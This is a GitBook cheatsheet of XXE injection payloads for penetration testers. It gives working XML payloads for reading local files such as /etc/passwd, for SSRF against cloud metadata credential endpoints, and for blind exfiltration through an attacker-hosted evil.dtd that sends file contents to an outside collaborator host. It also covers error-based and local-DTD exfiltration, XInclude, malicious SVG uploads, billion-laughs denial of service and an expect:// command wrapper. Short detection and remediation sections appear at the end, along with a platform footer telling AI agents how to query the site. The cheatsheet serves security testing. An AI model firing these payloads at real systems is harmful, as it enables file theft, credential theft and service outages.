> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/xxe-injection-complete-cheatsheet.md).

# XXE Injection - Complete Cheatsheet

A single-page reference for every major XXE variant: payloads, diagrams, and when to use each one. For authorized security testing only.

***

### Table of Contents

* Quick Reference Table
* Decision Flowchart
* 1\. Basic / In-Band XXE (File Retrieval)
* 2\. SSRF via XXE
* 3\. Blind XXE — Out-of-Band (OOB) Detection
* 4\. Blind XXE via Parameter Entities
* 5\. Blind XXE — Exfiltration via Malicious External DTD
* 6\. Blind XXE via Error Messages
* 7\. XInclude Attack
* 8\. XXE via File Upload (SVG / Office / etc.)
* 9\. Repurposing a Local DTD
* 10\. Denial of Service — Billion Laughs
* 11\. Useful Wrapper / Protocol Payloads
* Detection Checklist
* Remediation Quick Reference

***

### Quick Reference Table

| #  | Technique                     | Requires reflection?      | Requires outbound network? | Requires full DOCTYPE control? |
| -- | ----------------------------- | ------------------------- | -------------------------- | ------------------------------ |
| 1  | Basic file retrieval          | ✅ Yes                     | ❌ No                       | ✅ Yes                          |
| 2  | SSRF via XXE                  | ✅ Yes                     | ✅ Yes (to internal target) | ✅ Yes                          |
| 3  | Blind OOB detection           | ❌ No                      | ✅ Yes                      | ✅ Yes                          |
| 4  | Blind via parameter entities  | ❌ No                      | ✅ Yes                      | ✅ Yes                          |
| 5  | Blind exfil via malicious DTD | ❌ No                      | ✅ Yes                      | ✅ Yes                          |
| 6  | Blind via error messages      | ❌ No (errors shown)       | ❌ No                       | ✅ Yes                          |
| 7  | XInclude attack               | ✅ Yes                     | ❌ No                       | ❌ No (works in a single field) |
| 8  | File upload (SVG/Office)      | ✅ Yes (rendered visually) | ❌ No                       | ✅ Yes (own standalone file)    |
| 9  | Repurpose local DTD           | ❌ No                      | ❌ No                       | ✅ Yes                          |
| 10 | Billion laughs (DoS)          | ❌ No                      | ❌ No                       | ✅ Yes                          |

***

### Decision Flowchart

```mermaid
flowchart TD
    Start[Can you control the XML input?] -->|No, only a single field value| XI[Try XInclude attack]
    Start -->|Yes, full document / DOCTYPE possible| Reflect{Is any value reflected<br/>back in the response?}
    Reflect -->|Yes| Basic[Basic in-band XXE:<br/>file:// disclosure or http:// SSRF]
    Reflect -->|No - blind| OOBNet{Outbound network<br/>access allowed?}
    OOBNet -->|Yes| ParamCheck{Do general entities work,<br/>or only parameter entities?}
    ParamCheck -->|General entities work| OOBConfirm[Confirm via OOB callback,<br/>then exfil via malicious external DTD]
    ParamCheck -->|Only parameter entities| ParamOOB[Blind XXE via<br/>parameter entities + OOB]
    OOBNet -->|No, fully isolated| ErrCheck{Are parser errors<br/>shown to the user?}
    ErrCheck -->|Yes| ErrBased[Error-based exfiltration<br/>via malicious external DTD]
    ErrCheck -->|No| LocalDTD[Repurpose a local DTD<br/>already on the filesystem]
```

***

### 1. Basic / In-Band XXE (File Retrieval)

**When to use:** the app reflects a parsed field's value back in the response, and you control the whole XML document.

```mermaid
sequenceDiagram
    participant A as Attacker
    participant S as Server
    A->>S: XML with DOCTYPE + external entity
    Note over S: Parser resolves file:// entity
    S-->>A: Response reflects file contents
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

**Variants of the target path:**

```xml
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file:///etc/hostname">
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
<!ENTITY xxe SYSTEM "file:///app/config/database.yml">
```

***

### 2. SSRF via XXE

**When to use:** same reflection primitive as #1, but the entity targets an internal service/URL instead of a file.

```mermaid
sequenceDiagram
    participant A as Attacker
    participant S as Server
    participant I as Internal Resource
    A->>S: XML with DOCTYPE + http:// entity
    S->>I: Server-side request to internal target
    I-->>S: Internal response
    S-->>A: Reflected in response body
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

**Common SSRF targets:**

```xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/">                       <!-- AWS metadata -->
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/"> <!-- GCP metadata -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/instance?api-version=2021-02-01"> <!-- Azure -->
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">
<!ENTITY xxe SYSTEM "http://192.168.1.1/">
```

***

### 3. Blind XXE — Out-of-Band (OOB) Detection

**When to use:** no reflection, but outbound network access works. Confirms the vuln exists before building a full exfil chain.

```mermaid
sequenceDiagram
    participant A as Attacker
    participant S as Server
    participant C as Attacker Server (Collaborator)
    A->>S: XML with DOCTYPE referencing C
    S->>C: Parser resolves external entity → outbound request
    Note over A: DNS/HTTP hit on C confirms<br/>the vulnerability, with no visible reflection
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.oastify.com/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

***

### 4. Blind XXE via Parameter Entities

**When to use:** general entities in the document body are blocked, but the parser still processes parameter entities inside the DTD.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR-ID.oastify.com/"> %xxe; ]>
<stockCheck><productId>test</productId><storeId>1</storeId></stockCheck>
```

Note the `%` prefix on the entity name and the reference `%xxe;` — parameter entities can only be used inside the DTD, never in the document body.

***

### 5. Blind XXE — Exfiltration via Malicious External DTD

**When to use:** blind + OOB works, and you want to actually pull file contents out (not just confirm the bug).

```mermaid
sequenceDiagram
    participant A as Attacker
    participant S as Server
    participant C as Attacker Server

    A->>S: XML referencing external DTD hosted on C
    S->>C: Fetch evil.dtd
    Note over C: evil.dtd reads local file,<br/>builds a second entity that<br/>sends the content back as a URL
    C-->>S: Malicious DTD content
    S->>C: Follow-up request: file contents in the URL/query string
    Note over A: Attacker checks C's access logs<br/>to read the exfiltrated data
```

**Attacker-hosted `evil.dtd`:**

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-COLLABORATOR-ID.oastify.com/?x=%file;'>">
%eval;
%exfil;
```

**Payload sent to the vulnerable app:**

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://ATTACKER-SERVER/evil.dtd"> %xxe; ]>
<stockCheck><productId>test</productId><storeId>1</storeId></stockCheck>
```

***

### 6. Blind XXE via Error Messages

**When to use:** no outbound network access at all, but parser errors are shown to the user.

**Attacker-hosted `evil.dtd`** (still needs to be reachable once, to deliver the payload — or embedded inline if the parser allows parameter entities in-document):

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

**Payload:**

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://ATTACKER-SERVER/evil.dtd"> %xxe; ]>
<stockCheck><productId>test</productId><storeId>1</storeId></stockCheck>
```

The parser attempts to load a nonexistent path built from the file's own contents — the resulting parse error message embeds the (URL-encoded) file contents, which the app then displays.

***

### 7. XInclude Attack

**When to use:** you only control a single field's *value* inside a server-built XML document — no way to inject a `DOCTYPE` at all.

```mermaid
flowchart LR
    A[Server builds XML, embeds<br/>your input as one field's value] --> B[XInclude element placed<br/>inside that field]
    B --> C[Parser resolves xi:include<br/>anywhere in the document body]
    C --> D[File content inlined as<br/>plain text at that point]
```

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
```

Submitted as a form value, this often looks like:

```
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

> `parse="text"` is required whenever the target isn't itself valid XML (e.g. `/etc/passwd`). Omit it only if including another well-formed XML document.

***

### 8. XXE via File Upload (SVG / Office / etc.)

**When to use:** the target processes an "image" or "document" upload with an XML-based parser under the hood (SVG rendering, Office document processing, etc.)

**Malicious SVG (renders leaked file contents as image text):**

```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

```mermaid
flowchart TD
    A[Craft .svg with DOCTYPE + entity] --> B[Upload as avatar/image]
    B --> C[Server-side library parses<br/>as full XML, e.g. Apache Batik]
    C --> D[Entity resolved, value<br/>rendered into the image]
    D --> E[Leaked content visible in<br/>the rendered picture]
```

For Office formats (DOCX/XLSX/PPTX), the same idea applies to the individual XML parts inside the zip archive (e.g. `word/document.xml`) if the processing library resolves external entities when reading them.

***

### 9. Repurposing a Local DTD

**When to use:** fully isolated target (no outbound network, no useful error messages reachable via a remote DTD) — but a known DTD file already exists on the local filesystem (bundled with some installed package).

```xml
<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    %eval;
    %error;
  '>
  %local_dtd;
]>
```

This redefines an entity that the local DTD declares further down, then triggers that DTD to expand it — building the same error-based exfiltration chain entirely from local resources, no network required.

***

### 10. Denial of Service — Billion Laughs

**When to use:** demonstrating parser resource-exhaustion risk (not data exfiltration). Related mechanism, doesn't require external entities at all.

```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
```

⚠️ Only use in authorized environments explicitly scoped for availability testing — this can crash a production service.

***

### 11. Useful Wrapper / Protocol Payloads

| Protocol/Wrapper              | Example                                                 | Use case                                                                                        |
| ----------------------------- | ------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `file://`                     | `file:///etc/passwd`                                    | Local file disclosure                                                                           |
| `http://`                     | `http://internal-host/`                                 | SSRF                                                                                            |
| `ftp://`                      | `ftp://attacker-server/`                                | Alternate OOB channel                                                                           |
| `php://filter` (PHP-specific) | `php://filter/convert.base64-encode/resource=index.php` | Read PHP source as base64 (bypasses execution)                                                  |
| `jar:` (Java-specific)        | `jar:http://attacker-server/evil.jar!/`                 | Occasionally usable for advanced Java-parser scenarios                                          |
| `expect://` (PHP, if enabled) | `expect://id`                                           | Command execution — extremely rare, requires the `expect` extension to be installed and enabled |

***

### Detection Checklist

* Any endpoint explicitly using `Content-Type: application/xml` or `text/xml`
* SOAP-based APIs
* File uploads accepting SVG, DOCX, XLSX, PPTX, ODT, KML, GPX, RSS/Atom
* JSON endpoints that might silently also accept XML if you change `Content-Type`
* SAML-based SSO/auth flows
* Any custom/legacy XML parser without explicit hardening

**Testing workflow:**

1. Insert a test `DOCTYPE` + external entity referencing your Collaborator.
2. Reference the entity in a field.
3. Check for reflection or OOB interaction.
4. If neither fires, try parameter entities, then error-based techniques, then XInclude, then local-DTD repurposing before ruling it out.

***

### Remediation Quick Reference

| Language / Library                                                     | Fix                                                                                     |
| ---------------------------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Java (`DocumentBuilderFactory`, `SAXParserFactory`, `XMLInputFactory`) | Disable DOCTYPE, external general/parameter entities, and XInclude                      |
| .NET (`XmlDocument`, `XmlReader`)                                      | Set `XmlResolver` to `null`; use `DtdProcessing.Prohibit`                               |
| PHP (libxml)                                                           | `libxml_disable_entity_loader(true)`; avoid `LIBXML_NOENT`                              |
| Python (`lxml`, `xml.etree`)                                           | Use `defusedxml`, or disable entity resolution/network access in `lxml.etree.XMLParser` |
| Ruby (Nokogiri)                                                        | Avoid `Nokogiri::XML::ParseOptions::NOENT`                                              |
| Node.js (`libxmljs`, etc.)                                             | Ensure `noent`/`dtdload` options are off                                                |
| SVG rendering (Apache Batik, etc.)                                     | Disable external entity resolution in the rendering library's parser config             |

**General principle:** disable DTD processing and external entity resolution by default across every XML parser in the stack — almost no application has a genuine need for it, and it's the single fix that closes every variant above at once.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/06.-xml-external-entity-xxe-injection/xxe-injection-complete-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.